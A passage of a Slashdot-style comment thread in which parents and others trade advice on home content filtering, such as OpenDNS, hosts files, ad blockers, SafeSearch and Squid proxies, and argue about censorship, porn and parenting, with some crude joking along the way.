      who's the idiot that modded this insightful? Seriously.

    10. Re:Use OpenDNS and a hosts file by furby076 · · Score: 1

      Block images.google.com. From doing a quick check, it seems Google uses the same IP for cached items "http://74.125.47.132/search?q=cache:"

      On windows I would just modify the index document in notepad, not sure what in linux. Block that too. Obviously it will affect you.

      --

      I do not support "The Man". I also do not support your irrational stupidity
    11. Re:Use OpenDNS and a hosts file by dr2chase · · Score: 1
      Nothing is 100%, but OpenDNS will make your kid work a lot harder for her porn. Happily enough, if you get tired of advertising servers loading obnoxious animated GIFs or flash animations on your box, you can hard-block those, too.

      Don't forget proxy servers -- be sure to block those.

      Firefox plus Web-Of-Trust is also good -- it doesn't hurt to let your daughter be warned that some of the sites she will inevitably visit are not so good.

      Kids are not always so savvy about cleaning up after themselves, so a little discreet snooping will let you know how well the filtering is going.

      Every router/firewall I've used, has also had a logging feature, so you can also use that to take samples of what is being looked at, and you can tweak your blocking accordingly.

      Computer in the living room is a fine idea.

    12. Re:Use OpenDNS and a hosts file by WaywardGeek · · Score: 1

      I admit I never thought I'd have any sort of filter before I had kids. I think there's a difference between seeing stuff accidentally, and seeing what you're looking for. I had a nightmare last night about creepy bugs that eat people. I've had them now and then since I was a child and saw a 60's sci-fi flick where a giant spider ate people.

      So, if my daughter wants to know what sex looks like, I'm OK with that. I just don't want advertisers who want are after my money to accidentally display their porn to her before she even knows how babies get their start.

      And, it's true that the Internet has come a long way in decreasing accidental porn displays. My kids have had access for years with no filter, and everything's worked fine. But, my kids are ready to want to know more, and 'sex' is a very likely keyword about to be entered into Google. I'd prefer she check out the Wikipedia results before redtube's.

      --
      Celebrate failure, and then learn from it - Nolan Bushnell
    13. Re:Use OpenDNS and a hosts file by gknoy · · Score: 2, Interesting

      do you think seeing porn will rape your daughters eyes or something?

      Yes.
      Now, in detail:

      At 4-8, I don't want them seeing porn, ever.
      At 8-12, I don't want them seeing porn, though I expect that one of their friends may show them some. I recall being baffled by what little porn I glimpsed at those ages.
      At 12-16ish, I still don't think they can handle porn well, but should have had The Talk by then so at least it's less bizarre.
      At 16, I expect my kids will be savvy enough computer users to Find A Way to get porn. However, they'll also know that I will find out afterwards, and it might be confiscated (or their priveleges revoked temporarily) as punishment. We will definitely have the talk that Porn is Out There, and may consider reducing some of the restrictions.
      At 18, I'd rather not know about it. Ew. They're old enough to pay for a separate network connection, if they want to look for porn; we can talk as a family about whether to lower the restrictions.

    14. Re:Use OpenDNS and a hosts file by lukas84 · · Score: 1

      And, it's true that the Internet has come a long way in decreasing accidental porn displays. My kids have had access for years with no filter, and everything's worked fine. But, my kids are ready to want to know more, and 'sex' is a very likely keyword about to be entered into Google. I'd prefer she check out the Wikipedia results before redtube's.

      Don't you think that Adblock Plus or a similar ad filter would do a better job at that than a DNS based filter?

      I'm using ABP both on my work machines and on my home machine - the only accidental porn that wasn't blocked by ABP were the pop-under advertisements that occur e.G. on megaupload.

    15. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 2, Funny

      What?? You still get the delicious Turkish tobacco taste without the unwanted tar. Not only insightful but informative!

    16. Re:Use OpenDNS and a hosts file by Schmorgluck · · Score: 1

      Duh? Modded "Insightful" instead of "Funny"?

      The possible implications are mind-boggling...

      --
      There's nothing like $HOME
    17. Re:Use OpenDNS and a hosts file by WaywardGeek · · Score: 3, Funny

      Hey, that was another great suggestion! I'm a bit embarrassed I wasn't already using it. I've not had much time to play with it, but thepiratebay.com has seemed to think I really need to meet a girl living near me for years. Different nearby towns, names, and ages, but always the same girl! I almost feel like I know her... I certainly know all her bathing suits. Now thepiratebay.com has nothing but whitespace where she use to be!

      I think I'm happier with both Adblock Plus and a DNS based filter. Both free, easy, and useful.

      --
      Celebrate failure, and then learn from it - Nolan Bushnell
    18. Re:Use OpenDNS and a hosts file by syousef · · Score: 1

      . As the kids grow old enough to figure out how to get around it, they're probably old enough to handle unfiltered content.

      If she's searching the net for 'hot guys' she's going to be exposed to porn whether or not you filter. Unless you are planning to lock her in the basement. I would be having that birds and bees chat immediately. Keeping computers in the living room sounds like a good plan too. You don't have to be very technically savvy to follow simple instructions for getting around filters.

      --
      These posts express my own personal views, not those of my employer
    19. Re:Use OpenDNS and a hosts file by NeverVotedBush · · Score: 1

      Glad it helped. A number of others also suggested OpenDNS but I didn't see their posts since they were lower so it wasn't just me.

      You can also do finer-grained blocking than just low, medium, high, and such - they have a page that lets you choose categories of things to block. You can be a lot more specific.

      But I really recommend the hosts file too. It will also speed up your web surfing because it will block all the spurious requests to resolve the ad sites and also block the ads. If you look at the text of the hosts file at the link I gave above, you'll see what kind of sites will get blocked immediately. You can also add in your own "bad actors" if you want.

      Glad it helped, though. ;-)

    20. Re:Use OpenDNS and a hosts file by gad_zuki! · · Score: 1

      You should look at DansGuardian.

      If you just want to block ads you can do this with one of those ad blocking hosts files:

    21. Re:Use OpenDNS and a hosts file by DrLang21 · · Score: 2, Insightful

      Just my meaningless 2 cents
      4-8, fair enough
      8-12, kids start talking about it. They should have the talk before they and their friends hit puberty or you will find your words mostly redundant by the time they get it.
      12-16, like it or not, if they want it enough then they'll get it, and they'll find a way to keep you from finding out about it most of the time. Though it's fair to say that they should at least be trying to keep it a secret. I was browsing Usenet by 13 and IRC by 14, and there's a lot more options today.
      16, forget it. If they want it, they'll have it, and if they aren't dumb, you probably won't know about it.

      --
      I see the glass as full with a FoS of 2.
    22. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 1, Funny

      Different nearby towns, names, and ages, but always the same girl! I almost feel like I know her... I certainly know all her bathing suits. Now thepiratebay.com has nothing but whitespace where she use to be!

      That's still her. She just moved to Alaska and it's blizzarding.

    23. Re:Use OpenDNS and a hosts file by commodore64_love · · Score: 1

      >>>At 16....it might be confiscated (or their priveleges revoked temporarily) as punishment.

      You can't be serious. A teenager (which is biologically a young adult) should be able to handle porn viewing. Or at the very least, naked bodies. At that age they're probably already masturbating in their bedroom, and having orgasms, so I see nothing wrong with them looking at photos.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    24. Re:Use OpenDNS and a hosts file by LordKazan · · Score: 0, Redundant

      I have to say i disapprove of censorship.... i think you'll find more problems down the line with taking that solution instead of simply installing adblock plus

      --
      If you cannot keep politics out of your moderation remove yourself from the Mod Lottery.. NOW!
    25. Re:Use OpenDNS and a hosts file by LordKazan · · Score: 1

      GP said nothing about government involvement... they, like me, most likely object to any and all censorship no matter the source.

      Censorship is NEVER the answer.

      --
      If you cannot keep politics out of your moderation remove yourself from the Mod Lottery.. NOW!
    26. Re:Use OpenDNS and a hosts file by LordKazan · · Score: 1

      Then direct her there yourself. Say you noticed in the search history that she was searching for "hot guys".. have the birds and bees discussion with her - don't direct her to wikipedia for anatomy, there is a constant war about article bias through errors of [intentional] omission running on that site in relation to those articles, but direct her to another reliable site. If she wants to look at that kind of stuff.... shes going to look at it.

      I had the internet when i was a teen... i looked at that kind of stuff, im now a married and productive member of society.

      --
      If you cannot keep politics out of your moderation remove yourself from the Mod Lottery.. NOW!
    27. Re:Use OpenDNS and a hosts file by LordKazan · · Score: 1

      I make yuor meaningless 2 cents into meaningless 4 cents by adding mine... i agree

      --
      If you cannot keep politics out of your moderation remove yourself from the Mod Lottery.. NOW!
    28. Re:Use OpenDNS and a hosts file by Calithulu · · Score: 1

      So you ensure that you see all forms of data at all times and read/watch it regardless of your belief about the value of said data? My hat is off to you, for you are omnipotent and omniscient.*

      As human beings we censor things all the time on a personal level. I frequently avoid data I feel has little value to me such as TV commercials, news that holds no value, etc. As a parent you need to do this for your child. You are ultimately responsible for him.

      Now, that being said you are correct and censorship is not the permanent solution. When, as a responsible parent, you decide that your child is capable of understanding what was being censored you need to stop censoring it and make sure the kid knows what it is. This is where many parents fail, since they never leave the protective mode at all and (just to tie this back to my original point) they then compound on that failure by demanding the that State force everyone else to their ideals of censorship

      Censorship is never the permanent solution, but it can be useful as a parenting tool until your offspring are mature enough to handle the data.

      *I am making the assumption that you are not making the argument that a child of any age should be presented with violent imagery or explicit sex so I won't go further down that road.

    29. Re:Use OpenDNS and a hosts file by soren202 · · Score: 1

      OP says he doesn't want to use any actual filters. This one only works if you can make the filter only warn you, instead of outright blocking you. I don't know what open DNS's filter does, so I suppose it could totally be the case (I've never taken the time to look myself - I don't care if I look at naked people) but, yeah, that option's out if it isn't.

    30. Re:Use OpenDNS and a hosts file by chimpo13 · · Score: 1

      I think he just doesn't want to be in the same room when she finds her first goatse, 4chan, and 1cup2girls.

      What's been seen can't be unseen, but can you imagine finding goatse with your dad in the room? It'd leave unexpected expectations she would have of him. I'm just kidding WaywardGeek about your goatse abilities. At least I hope I am!

      PS, don't let your daughter visit this post.

    31. Re:Use OpenDNS and a hosts file by soren202 · · Score: 1

      True, parent-based filtering should be encouraged, but at the same time, there are parents who are WAY to strict with such things. Seriously, I hear horror stories of over protective parents all the time. Yes, parents should be sure to supervise their children rather than placing that burden on the government, but at the same time, that doesn't give them license to over-protect and shelter their children. It's fine at first, but it can only end badly once the kid goes off to college and can have as much sex, watch as much porn, and drink as much alcohol as they want.

    32. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

      Why is adblock not censorship and OpenDNS is? Do you believe in clothes? Also, I didn't see the OP asking people's opinions on censorship, but hey, more power to you.

    33. Re:Use OpenDNS and a hosts file by profplump · · Score: 1

      Without commenting on whether or not children should be filtered, what has pornography in general got to do with addiction, or even "bad" for that matter? Do pictures of boobies on the computer really justify a comparison to a personal visit from a drug addict?

      / And you talk about other posters looking stupid.

    34. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

      I don't have children but I can't really relate to the problem, I think the kid thinks porn ads is as anoying as we adutlt think so the best way to "protect" her should be to install firefox and adblock and show how it works so she can filter the stuff that she think is anoying, as you said she is will very fast learn about services as hidemyass.com and and stuff around it and the adblock aproach will improve her computerskills alot. (regexp is a great way to understand the fundamentals about variables, syntax and so on)

      She will visit some pages that you don't approve of but I'm pretty sure you did as well even if it was on BBS's at the time. (still remember the picture of the woman that shit in the mouth of some guy while being fucked, took a while before I looked at porn again and me being a teenager at the time say's something, but it was a good leason, "just because it's forbidden don't mean it's something they wan't to keep for themself"...

    35. Re:Use OpenDNS and a hosts file by Calithulu · · Score: 1

      Too true. Parents should be encouraged to be responsible parents and protect their kids when they need it... and teach their children how to deal with what the world has to offer when they need it.

    36. Re:Use OpenDNS and a hosts file by Workaphobia · · Score: 1

      Sarcastic absolutism in the face of technical solutions? A general indifference towards children's exposure to porn? A laissez-faire parental attitude that abdicates responsibility for mediating kids' contact with the unsheltered world?

      Bennett Haselton, is that you?

      --
      Evidently, the key to understanding recursion is to begin by understanding recursion. The rest is easy.
    37. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

      Well, since this article is now obviously /.vertisement I'll put on my conspiracy hat and say that Obama Co is trying to infiltrate the conservative right with this obvious hack attack. My apologies to them if not true; sad to say it's just the way the world makes me think these days. Anyway, still an obvious astroturf.

    38. Re:Use OpenDNS and a hosts file by thefinite · · Score: 1

      First, the parent post implied that bad things happen in the world so you might as well let them happen in your house. He started off implying pornography was bad.

      Second, pornography has the same to do with addiction that alcohol does. Many people don't get addicted while many people do. Marriages get wrecked because a husband loses interest in his wife since she doesn't look like a porn star. That's not just about "pictures of boobies."

      If you were married (and you may be) and your wife asked you to stop looking at porn, would you do it even if you thought her request was unreasonable? There are a lot of men out there who would keep looking at porn at the cost of their marriage. That's a textbook example of addiction.

      This all relates to kids because many such addictions are developed during teenage years when kids are still learning self-control skills. Is it really unreasonable of me to try and help my kids develop these skills before they get exposed to this stuff?

      --
      Boom Shanka
    39. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

      With OpenDNS you can also add specific sites/domains, and with Firefox you can use something like Greasemonkey to remove cached links in an out of site out of mind fashion (Something like http://userscripts.org/scripts/show/44463) Opera will let you do the same thing, in fact, that script would probably work if you dropped it into Opera.

    40. Re:Use OpenDNS and a hosts file by Carrot007 · · Score: 1

      > If you were married (and you may be) and your wife asked you to stop looking at porn, would you do it even if you thought her request was unreasonable? There are a lot of men out there who would keep looking at porn at the cost of their marriage. That's a textbook example of addiction.

      Sounds more like a textbook case of choosing the wrong woman to me.

      --
      +----------------- | What is the question!
    41. Re:Use OpenDNS and a hosts file by Workaphobia · · Score: 1

      I'd like to offer you my sympathies. I don't envy the task of any parent in the current Internet age.

      Some parents are just ignorant of the social implications of the Internet until they see some scare report from the media. Others are aware of the basic threats on the net, but do a poor job of structuring the extent of their children's interactions with it. But what really gets me is when parents underestimate the value of some of their children's net usage, and overreact by "taking away the computer" or being generally closed-minded to technology.

      I welcome exposing kids to the exponential browser-tab-producing effect of reading wikipedia, the life experience gained by interacting on online communities, and the critical thinking skills learned by reading/assimilating contrasting and independent viewpoints.

      As you're a slashdotter, I'm in no way suggesting you fall into the above categories. I just wanted to point out that there's a lot of value and danger on the net for kids besides something as mundane as porn.

      Good luck striking a balance.

      --
      Evidently, the key to understanding recursion is to begin by understanding recursion. The rest is easy.
    42. Re:Use OpenDNS and a hosts file by NoobixCube · · Score: 1

      True, though not the point in this case. The story poster wanted something to prevent accidental exposure. Google safesearch is usually pretty good at keeping "offensive" materials off screen. Try searching for "cock" with safesearch on, and you get a lot of roosters. To be exposed to porn on Google image search, she'd need to turn safesearch off, thus making the exposure deliberate.

      --
      Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
    43. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

      Agreed, obviously it should have been modded informative.

    44. Re:Use OpenDNS and a hosts file by lukas84 · · Score: 1

      First, the parent post implied that bad things happen in the world so you might as well let them happen in your house. He started off implying pornography was bad.

      No, what i said is that the world is a bad place. Which is mostly a philosophical standpoint.

      Either way, there's lots of content on the internet i would consider "bad" for almost anyone, unless you have very specific fetishes: like 2girls1cup, tubgirl, etc.

      But then again: There's no real danger originating from the internet - it's just pictures. Which, unlike a rapist can't scar your kid forever or transmit STDs.

      Abstraction is an important skill to learn.

      If you were married (and you may be) and your wife asked you to stop looking at porn, would you do it even if you thought her request was unreasonable? There are a lot of men out there who would keep looking at porn at the cost of their marriage. That's a textbook example of addiction.

      No, of priorities. Wrong priorities in my opinion perhaps, but not necessarily an addiction.

      Imagine this: Your wife asks you to stop eating meat, since it's bad for your health and all those poor animals getting slaughtered. Will you stop eating meat just to satisfy your wifes wims?

      I know i wouldn't.

      Is it really unreasonable of me to try and help my kids develop these skills before they get exposed to this stuff?

      How can they learn self control when you're controlling them?

    45. Re:Use OpenDNS and a hosts file by lukas84 · · Score: 1

      You are aware that most teenagers lose their virginity between 13 and 16?

    46. Re:Use OpenDNS and a hosts file by geordie_loz · · Score: 1

      you are aware that most teenagers between the age of 13 and 16 lie and say they've had sex when they haven't?

    47. Re:Use OpenDNS and a hosts file by daveime · · Score: 1

      Are you one of those people who just HAS to give advice, despite being completely ignorant of what you are saying ?

      Moderate SafeSearch is on
      At least on my version of images.google.com, the 4th picture is a farm animal's dong, and the 9th picture is of a "Spiral Cock Vibrator / Massager" !!

      Strict SafeSearch is on
      The word "cock" has been filtered from the search because Google SafeSearch is active.

      SO here, when your child innocently searches for a picture of a rooster, the Strict SafeSearch simply educates her that "cock" is a bad word.

    48. Re:Use OpenDNS and a hosts file by daveime · · Score: 1

      So you DIDN'T grow an extra 6 legs and start eating people, even after exposure to such a horriffic childhood experience ?

      Guess that makes the whole "porn creates rapists" argument settled then ?

    49. Re:Use OpenDNS and a hosts file by daveime · · Score: 0, Flamebait


      First, the parent post implied that bad things happen in the world so you might as well let them happen in your house. He started off implying picking your nose was bad.

      Second, picking your nose has the same to do with addiction that alcohol does. Many people don't get addicted while many people do. Marriages get wrecked because a husband loses interest in his wife since she doesn't look like a nose picking star. That's not just about "pictures of noses."

      If you were married (and you may be) and your wife asked you to stop picking your nose, would you do it even if you thought her request was unreasonable? There are a lot of men out there who would keep picking therr noses at the cost of their marriage. That's a textbook example of addiction.

      This all relates to kids because many such addictions are developed during teenage years when kids are still learning self-control skills. Is it really unreasonable of me to try and help my kids develop these skills before they get exposed to this stuff?

      Seriously though, with that kind of bias, you must be a Mormon, or at least one of the "born again" lot.

      I could start throwing out (semi-plausible) arguments about how porn might prevent an awful lot of rapes from happening, by alleviating the sexual frustrations of lonely, single, desparate people. Or how many marriages might be SAVED due to porn spicing up an otherwise dull and lifeless relationship. Twelve years of Missionary sure is boring ...

      Really, you have a world view about as complex as that of a concussed duckling, and it's probably better that you poke your own eyes out now, lest you see a naked ankle and have a coronary.

      I pity your kids, because the only thing they need protecting from are your 17th century views of "this stuff".

    50. Re:Use OpenDNS and a hosts file by pbhj · · Score: 1

      goatse, lemonparty, tubgirl, ...

      I don't know where you hang out but I've never been subjected to anything that mortifyingly disturbing in real life, nor would I want to be. This sort of thing disturbs adults psychologically, ...

      Then there's all the close-up images of road accident victims and things. I'm happy to filter this stuff for my own sake nevermind my 3 year old's.

      You may as well say "I never understood parents that want to teach their kids not to mess about with guns. They'll have to live with the fact people die from being shot, they should learn that naturally."

    51. Re:Use OpenDNS and a hosts file by ResidentSourcerer · · Score: 1

      Open DNS is wonderful. I used it at the school where I worked. It didn't stop the porn, but it cut the incidence of accidental porn to nothing.

      Also: Set google to "moderately safe"

      The other point about having the computer in a public space is good. Doesn't have to be in the living room next to the noisy TV, but in a corner where people walk by on a frequent basis is good. And don't then use YOUR computer in a private space. Set an example.

      I also think there is merit in doing homework on the dining room table. Folks are around to help. 'Room time' happens after 'chores' such as washing the dishes, and homework are done.

      Still, they are going to run into content that is disturbing -- either new ideas, (Muslim family law -- role of women, sexual freedom) violence, bigotry, hate, and in general man's inhumanity to man. Start early and talk about what she's seen. Get her in the habit of asking questions to you. These discussions are springboards for talking about ethics and morality in general.

      You have to decide about social networking sites. Much of that use depends on the crowd she falls into.

      Remember too, that even if you control her access she will have less restricted access at friends' houses, at school, or even the public library. Teach them responsible use. Teach them to be skeptical, to figure out ways to verify, to look for consistency. Done this way you have a huge impact on her development as a responsible adult.

      --
      Third Career: Tree Farmer Second Career: Computer Geek First Career: Teacher, Outdoor Instructor, Photographer.
    52. Re:Use OpenDNS and a hosts file by lukas84 · · Score: 1

      I don't know where you hang out but I've never been subjected to anything that mortifyingly disturbing in real life, nor would I want to be. This sort of thing disturbs adults psychologically, ...

      They're bits of color on a piece of plastic or glass. They can't be disturbing, if you've learned abstraction properly.

      I played gears of war, yet i'm not afraid of aliens bursting out of the earth, or trying to cut other people in half with my chainsaw-assault rifle.

      You may as well say "I never understood parents that want to teach their kids not to mess about with guns. They'll have to live with the fact people die from being shot, they should learn that naturally."

      Telling them not to touch guns is wrong, IMO. Telling them how a gun works, how to handle it, what the risks of using it are and generally making them safe and responsible young adults is a good idea.

      And before the argument comes up: Trying to teach a toddler gun safety won't work, but if they can read, write and type they should also be able to learn the basics of gun safety. Even more important if you have one in the house.

    53. Re:Use OpenDNS and a hosts file by thefinite · · Score: 1

      Do you have kids?

      --
      Boom Shanka
    54. Re:Use OpenDNS and a hosts file by pbhj · · Score: 1

      Trying to teach a toddler gun safety won't work, but if they can read, write and type they should also be able to learn the basics of gun safety. Even more important if you have one in the house.

      But teaching them safe internet usage does??

    55. Re:Use OpenDNS and a hosts file by pbhj · · Score: 1

      I don't know where you hang out but I've never been subjected to anything that mortifyingly disturbing in real life, nor would I want to be. This sort of thing disturbs adults psychologically, ...

      They're bits of color on a piece of plastic or glass. They can't be disturbing, if you've learned abstraction properly.

      So what you're saying here is shock doesn't exist? I look forward to your paper in the journals of the Brit. Psych. Soc..

    56. Re:Use OpenDNS and a hosts file by thefinite · · Score: 1

      Without comment about the moral arguments for or against porn, the idea that it's just pictures is tough to justify. Porn is designed to produce a very specific neurochemical response in people, a response powerful enough to lead to irrational decision-making (See Airley's book, Predictably Irrational).

      The fact that people can (not necessarily will) get addicted to this neurochemical response is not only unsurprising, but well documented.

      I also suggest you read what you wrote again. Sacrificing valuable personal relationships for something of lesser value is a textbook element of addiction, established by people who study addiction for their careers. But you say that letting your marriage fall apart over porn, which happens to people who are addicted to it, is just a matter of priorities? Can we say the same thing then about the meth head or the alcoholic? If not, what makes porn different? (And again you'll have a hard time with the porn is just pictures argument.)

      Your assumption that I am "controlling" my kids to the point that they can't learn self-control is also pretty speculative. Can you point to the specific things I'm doing? Do you even know who my kids are and how I am raising them? The only thing you know right now is that I think filtering porn from their web browsing experience is good parenting. (For the record, my kids are 7, 5, and 2.)

      Finally, I'll just ask the question directly. Do you have kids?

      --
      Boom Shanka
    57. Re:Use OpenDNS and a hosts file by thefinite · · Score: 1

      Nose-picking and porn are equivalent? That explains the mulit-billion dollar industry built up around nose-picking.

      And I must have clicked the wrong reply button, but this question was intended for you:

      Do you have kids?

      --
      Boom Shanka
    58. Re:Use OpenDNS and a hosts file by lukas84 · · Score: 1

      Porn is designed to produce a very specific neurochemical response in people

      I doubt that porn is designed - most production values are cheap.

      The fact that people can (not necessarily will) get addicted to this neurochemical response is not only unsurprising, but well documented.

      Sacrificing valuable personal relationships for something of lesser value is a textbook element of addiction, established by people who study addiction for their careers.

      Yes, but what you're describing is essentially an unreasonable request. If we take the morals out of the equation (porn is bad!) and go with my meat example, you have a situation where your wife demands something unreasonable from you, with no obvious reasons and/or benefits, just because she wants to "change" you for some unknown goal.

      From my point, that's a perfect reason to break up a relationship - but IMO this does not mean that i have a meat addiction.

      Can we say the same thing then about the meth head or the alcoholic?

      Alcohol can do pretty bad things to you, yet i still enjoy the occasional beer since about 15.

      The problem with your argument about porn addiction was the "wife" point - it was clearly a situation that does not indicate addiction, merely one of priorities or to put it more bluntly: If you're willing to put up with unreasonable requests.

      If you spend most of your working day looking at porn and get fired for it, it's probably an addiction. And that's bad - however, that's not an issue of porn or alcohol itself, but of the individual.

      Can you point to the specific things I'm doing? Do you even know who my kids are and how I am raising them? The only thing you know right now is that I think filtering porn from their web browsing experience is good parenting. (For the record, my kids are 7, 5, and 2.)

      No, i can't. It was just the discussion we started out with, and my assumption just went with the way you were arguing.

      Finally, I'll just ask the question directly. Do you have kids?

      No. But i spent quite some time raising my siblings (which now have a job and are productive members of our society).

    59. Re:Use OpenDNS and a hosts file by verzonnen · · Score: 1

      Chances are that if the kids are able to recognize what is going on they are ready for the lessons on the subjects.

      Besides porn is just a small part of the many "problems" on the net, teach your kids to deal with all off them and hope that this knowledge will be used when they are faced with porn or other things elsewhere.

    60. Re:Use OpenDNS and a hosts file by drsmithy · · Score: 1

      If you were married (and you may be) and your wife asked you to stop looking at porn, would you do it even if you thought her request was unreasonable? There are a lot of men out there who would keep looking at porn at the cost of their marriage. That's a textbook example of addiction.

      No, it's a textbook example of a marriage that should never have happened. The marriage was already broken, "porn" just happened to be a catalyst.

      (Replace "porn" with something you enjoy doing and consider completely harmless - say, reading war novels - if you wish to try and understand why.)

    61. Re:Use OpenDNS and a hosts file by gknoy · · Score: 1

      I agree, in principle. I don't think I have a problem with them reading stories about romantic sexy encounters and the like, but most of the porn one finds semi-easily on the internet is not really a normal depiction of sex; it's pretty stylised and extreme. I don't really want them reading things that glamorize cheating, incest, rape, snuff, or things like that. I don't think most visual porn promotes a healthy body image for either gender. (Playboy is like sesame street in comparison to most internet porn, IMO.) I don't believe children who are that young should be sexual with one another, so I certainly want to try to limit the exposure to the glamorous treatment of it that most porn is. You'll also notice that I said "might" be confiscated: it depends on their maturity, on the nature of the porn, etc.

      If they are skillful enough to hide it from me, there's nothing I can do about that.
      If I do find out they're consuming porn, then the discussions we will have had about consequences will be apropos.
      If they're 16 and having sex, there's not much I can do to stop it -- they will have been educated and supplied with protection, and will know about the consequences.

      Of course, my kid is rather young, so I have another decade or so before any of this really matters, and my thoughts may evolve.

    62. Re:Use OpenDNS and a hosts file by monique · · Score: 1

      Out of curiosity, does it block http://www.scarleteen.com/ ? That's a great site for teens (and beyond) looking for info about sex and their bodies.

      --
      -monique
    63. Re:Use OpenDNS and a hosts file by Not+A+Gentool · · Score: 1

      Mod up to +5 insightful!

    64. Re:Use OpenDNS and a hosts file by gknoy · · Score: 1

      Many teens that age (13-16) smoke, drink, or use drugs. That doesn't mean I want my children doing those things, and I do not want my children having sex that early. We have too many children who are getting pregnant while in high school, or before they are mature enough to handle being a parent, and I do not want my kids to contribute to that problem.

  49. Discovering the world as it is... by Anonymous Coward · · Score: 0

    " I believe in letting kids discover the world as it is"

    There's a word for parents like you... grandparents.

  50. Use my whitelist by dr_dank · · Score: 4, Funny

    I only whitelist the sites that teach good lessons for their development into adulthood:

    Zombo.com: You can do ANYTHING there.

    Goatse: What better way to show what one can accomplish if you put your mind to it?

    2G1C: Teamwork and empowerment

    Lemonparty: Appreciation for the elderly.

    I'd list more, but CPS is here. Must be donation season or something.

    --
    Where does the school board find them and why do they keep sending them to ME?
    1. Re:Use my whitelist by Creepy+Crawler · · Score: 1

      Dont forget /b/

      only the best /b/tards are there.

      --
    2. Re:Use my whitelist by Anonymous Coward · · Score: 0

      One of these things is not like the other...

    3. Re:Use my whitelist by wvmarle · · Score: 1

      I miss 4chan.org in that list.

      And of course slashdot.org - the best source on the whole Internet when it comes to tech related news, especially thanks to the comments.

  51. Re:Yeeeah . . . by Anonymous Coward · · Score: 0

    Um . . . "splash sex in her face" . . . oooooh-kaaaaaay . . .

    I, too, find his choice of words inappropriate and really unfortunate, but maybe that's because I'm into uh... face-splashing. I noticed the quote at the bottom of this page:
    Be not anxious about what you have, but about what you are. -- Pope St. Gregory I

    So now we should be anxious about being face-splashers? And why is the Pope commenting on this anyway?

  52. How old is your daughter? by American+Terrorist · · Score: 2, Informative

    I got open internet access when I was 12, saw a lot of porn, it didn't scar me. Of course I saw a lot of mags before that. I understand your concern, but images of people having sex probably aren't going to make your kids crazy. Young bonobos see the adults go at it all the time, they seem to turn out OK. What you don't want is her being too young and actually having sex; that should be the focus of your conversation with her.

  53. Bad metaphor by elecmahm · · Score: 1

    "splashing sex in [your daughter]'s face" is probably not a very good metaphor for what you're intending.

  54. SQUID by Archangel+Michael · · Score: 1

    In addition to the OpenDNS option, I use SQUID proxy server with Filtering inline.

    If you Google "Squid Proxy Filtering" you'll find a great deal of information and howtos to set it up. The other approach is to add a white list type filter if you're really anal (pun intended) about it.

    Use Google for searches and turn on STRICT filtering, which helps a great deal as well.

    Honestly, they might run into a few sites here and there with objectionable content, but it should be rare if you take just a few of the more highly recommended suggestions here.

    Lastly, most of the bigger ISPs now offer a range of products and services for parental controls. I'm not sure how many of these are Windows (and MAC) only, rather than inline services, so YMMV.

    --
    Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
  55. Re:Yeeeah . . . by Alien+Being · · Score: 2, Funny

    You're a sick bastard for saying what everyone else was only thinking.

  56. You do the only logical thing by Beelzebud · · Score: 5, Funny

    You demand that the government censor the entire internet for the safety of The Children!

    ;)

    1. Re:You do the only logical thing by Veggiesama · · Score: 1

      You demand that the government censor the entire internet for the safety of The Children! ;)

      Brilliant! Where could you possible have come up with that simple, elegant solution? If only someone had thought about that before!

    2. Re:You do the only logical thing by Anonymous Coward · · Score: 0

      I am a Linux user, only allow Linux in the house but the kids really don't know the difference. I have installed DansGuardian, and it has worked great. Uses content filtering and you can tweak it anyway you want. This way, no searchs on Google that brings back content that is not appropriate for elementary age kids, including pictures. Check out http://ubuntuce.com/, for a ubuntu distro that has DansGuardian and proxy out of the box with a configuration GUI. Don't be turned off by the name, Ubuntu Christian. Works great for Parental Controls.

    3. Re:You do the only logical thing by Anonymous Coward · · Score: 0

      fuck the children already! .... don't we have enough to worry about?

    4. Re:You do the only logical thing by Anonymous Coward · · Score: 0

      You demand that the government censor the entire internet for the safety of The Children!

      It's already happening in backwards dictatorships like Australia

  57. How about a proxy? by pig-power · · Score: 2, Informative

    If the OP is using a linux router/gateway machine, why not use something as simple as squid-guard?
    http://www.squidguard.org/
    http://www.squid-cache.org/
    Blacklists here: http://www.shallalist.de/
    It allows for customization (trusted/untrusted) and seems to be very effective. Good luck!

  58. No we didn't. by tjstork · · Score: 1

    And we all turned out alright.

    By what measure do you figure that? WE have completely fraked up the entire western world within the space of two generations.

    --
    This is my sig.
    1. Re:No we didn't. by Reziac · · Score: 1

      By amazing coincidence, the first two generations that had Real Life filtered for them, during the rise of the nanny government and its associated fear of the bogeyman being promulgated at home.

      Before that, we pretty much had to view life as it came, not as we wanted it to be.

      (And yes, I'm old enough to remember that.)

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    2. Re:No we didn't. by geminidomino · · Score: 1

      That's not true. The fucking up of the western world has been a long and arduous process hearkening back to the 1400s!

    3. Re:No we didn't. by SlappyBastard · · Score: 1

      WE have completely fraked up the entire western world within the space of two generations.

      I call bullshit!

      Take a look at the world loooong before the pr0nonet. Every word for every depraved act known to man predates the Internet by at least 150 years.

      Sex wouldn't be interesting at all to woman had it not been for the advent of the printing press and machine tools (she grabs a romance novel and a vibe and away she goes to a land full of men that stay awake after making love).

      We didn't need the internet to get to this point. In fact, the internet has probably convinced MORE people that sex is bad. I mean, Christ, I used to think hot chicks eating ice cream was, well, hot. Two girls and one cup later, not so much.

      --
      I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
    4. Re:No we didn't. by tjstork · · Score: 1

      I call bullshit!

      I was talking about the decline of the American manufacturing economy since 1950s.

      --
      This is my sig.
    5. Re:No we didn't. by tjstork · · Score: 1

      The fucking up of the western world has been a long and arduous process hearkening back to the 1400s!

      No, because the West kicked ass right up until it shot itself in the foot with World War I.

      --
      This is my sig.
    6. Re:No we didn't. by geminidomino · · Score: 1

      I dunno. That whole Indian thing was pretty fucked up.

    7. Re:No we didn't. by tjstork · · Score: 1

      I dunno. That whole Indian thing was pretty fucked up.

